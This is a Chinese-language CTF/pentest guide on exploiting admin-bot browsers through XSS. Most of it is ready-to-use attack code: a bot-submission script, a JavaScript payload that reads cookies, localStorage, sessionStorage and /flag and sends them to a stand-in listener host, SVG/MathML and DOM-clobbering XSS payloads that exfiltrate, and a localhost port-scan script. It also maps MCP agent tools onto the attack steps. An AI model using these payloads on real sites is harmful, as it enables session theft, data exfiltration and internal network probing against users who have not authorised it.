Skip to content

Admin Bot / XSS 实战 ​

Admin Bot 本质是一个带高权限状态的浏览器。alert(1) 只是入口,真正的目标是拿到 bot 才能访问的同源数据、前端状态、token、内部面板或 flag。

输入信号 ​

信号立即动作命中样本失败样本
有 /report、/submit、/visit 让 bot 访问 URL枚举提交参数、等待时间、可访问协议bot 访问 listener,带 HeadlessChrome UA只做服务端 URL 抓取,不执行 JS
反射/存储 HTML 注入先测 parser 与 sanitizer,再测外带通道payload 在 bot 环境触发 listener用户浏览器触发,bot 不触发
Cookie 为 HttpOnly走同源 fetch 读 /flag、/api/me、/adminfetch 响应可外带CORS/Origin/CSRF 阻断同源状态
token 在 localStorage/sessionStorage注入运行时快照JWT/access_token 可重放token 只用于 UI,API 依赖 cookie
CSP 存在按 connect-src/img-src/form-action/script-src 路由至少一个外带通道被允许所有外链被拦,转 same-origin sink
bot 可能有内网视角端口/路径时间差探测127.0.0.1 或内网服务响应差异bot 网络与公网一致

工作流 ​

text
确认 bot 会执行 JS
  → 读取 CSP/cookie/storage/API baseline
  → 选择外带通道或同源读取
  → 构造最短 payload
  → 提交给 bot 并等待 listener
  → 按响应推进 JWT、CSRF、内网或 postMessage 链

0. 判定矩阵 ​

约束首选路线备选路线
connect-src 允许外域fetch/sendBeacon/WebSocketimage/form
只允许 img-srcimage beacon、DNS label同源缓存写入后读
只允许 form-action隐藏表单 POSTwindow.name 中转
script-src 禁 inlineSVG/MathML/gadget/DOM clobbering存储型页面二跳
Cookie HttpOnly同源 API 读取后外带响应CSRF 动作 + 状态差分
无外带域same-origin 写入可读位置把 flag 放入 profile/comment/log 再读

1. Bot 提交器 ​

python
#!/usr/bin/env python3
import argparse
import json
import requests

def submit(url, target, mode):
    if mode == "json":
        return requests.post(url, json={"url": target}, timeout=10)
    if mode == "graphql":
        return requests.post(url, json={"query": f'mutation{{visit(url:"{target}"){{ok}}}}'}, timeout=10)
    return requests.post(url, data={"url": target}, timeout=10)

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--submit-url", required=True)
    ap.add_argument("--target-url", required=True)
    ap.add_argument("--mode", choices=["form", "json", "graphql"], default="form")
    args = ap.parse_args()
    r = submit(args.submit_url, args.target_url, args.mode)
    print(json.dumps({"status": r.status_code, "location": r.headers.get("Location", ""), "body": r.text[:500]}, ensure_ascii=False))

if __name__ == "__main__":
    main()

成功样本:提交后 listener 收到 bot 访问,或目标队列返回 visit id。失败样本:只返回 URL syntax error、协议被过滤、队列存在但 listener 没有访问。

2. 外带通道选择器 ​

javascript
(() => {
  const L = "https://listener.example/collect";
  const pack = async () => {
    let same = "";
    try {
      same = await fetch("/flag", {credentials: "include"}).then(r => r.text());
    } catch (e) {
      same = String(e);
    }
    return btoa(unescape(encodeURIComponent(JSON.stringify({
      href: location.href,
      cookie: document.cookie,
      local: {...localStorage},
      session: {...sessionStorage},
      same: same.slice(0, 1200)
    }))).replace(/=+$/, "");
  };
  pack().then(d => {
    navigator.sendBeacon && navigator.sendBeacon(L, d);
    fetch(L + "?f=" + d, {mode: "no-cors"}).catch(() => {});
    (new Image()).src = L + "/i/" + d.slice(0, 1800);
    const f = document.createElement("form");
    f.method = "POST"; f.action = L; f.target = "_self";
    const i = document.createElement("input"); i.name = "d"; i.value = d;
    f.appendChild(i); document.body.appendChild(f);
    setTimeout(() => f.submit(), 50);
  });
})();

判定:

listener 现象解释
fetch/sendBeacon 到达connect-src 可用,继续读同源 API
只有 image 到达img-src 可用,分片外带
只有 form 到达form-action 可用,用 POST 带长响应
都不到达CSP/网络阻断,转同源写入或 DNS label

3. CSP 与 gadget 选择 ​

CSP 形态Payload 族
script-src 'unsafe-inline'直接 <script> 或事件处理器
script-src 'self'找同源 JSONP、Angular/React/Vue gadget、上传 JS
img-src *image beacon 外带
connect-src *fetch/WebSocket 外带
base-uri 缺失<base href> 改相对资源加载
trusted-types 存在找已有 policy 或 DOM sink 二跳
html
<svg><animate attributeName="x" onbegin="fetch('/flag',{credentials:'include'}).then(r=>r.text()).then(t=>location='https://listener.example/?d='+btoa(t))"></animate></svg>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror="fetch('/flag').then(r=>r.text()).then(t=>new Image().src='https://listener.example/i?d='+btoa(t))">-->

4. DOM Clobbering 与同源动作 ​

当脚本不可直接执行但 HTML 可注入时,优先影响目标代码已经读取的全局变量、form、anchor、config。

html
<form id=config><input name=isAdmin value=true><input name=apiBase value=/admin></form>
<a id=redirect_uri href="javascript:fetch('/flag').then(r=>r.text()).then(t=>location='https://listener.example/?d='+btoa(t))"></a>
<iframe name=csrf_token srcdoc="<input id=x value=owned>"></iframe>

5. 内网与同源探测 ​

javascript
async function probe() {
  const ports = [80, 443, 3000, 5000, 6379, 8000, 8080, 9222];
  const out = [];
  for (const p of ports) {
    const t0 = performance.now();
    try {
      await fetch(`http://127.0.0.1:${p}/`, {mode: "no-cors", cache: "no-store"});
      out.push({port: p, dt: Math.round(performance.now() - t0), hit: true});
    } catch (e) {
      out.push({port: p, dt: Math.round(performance.now() - t0), hit: false});
    }
  }
  new Image().src = "https://listener.example/p?" + btoa(JSON.stringify(out));
}
probe();

成功样本:端口时间差稳定、同源 API 响应被外带、flag/token 到达 listener。失败样本:listener 无访问、只有普通用户访问、bot 不执行脚本、同源 fetch body 为空。

攻击链 ​

text
XSS 注入
  → bot 执行 JS
  → 读取同源 /flag 或前端 token
  → 选择可用外带通道
  → listener 收到响应
  → JWT 重放 / CSRF 动作 / 内网探测 / postMessage 二跳

Evidence ​

项记录内容
bot 触发提交 URL、队列响应、listener 时间、UA、IP、Referer
注入点URL、参数、payload、渲染上下文、sanitizer 输出
CSP 路由CSP header/meta、可用外带通道、失败通道
同源读取被读取路径、状态码、响应 hash、关键字段
成功样本flag/token/admin 数据到达 listener,或同源动作产生状态变化
失败样本CSP 拦截、bot 不执行 JS、cookie 不随请求、响应 hash 固定拒绝
下一跳token 转 JWT 07;postMessage 转本目录 postmessage;内网转 SSRF/infra

MCP 工具映射 ​

步骤MCP 工具说明
入口探测http_probe探测注入点、CSP、bot 提交接口
浏览器打点jshook注入 fetch/XHR/storage hook
知识路由kb_router按 XSS、CSP、admin bot、DOM clobbering 信号搜索

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用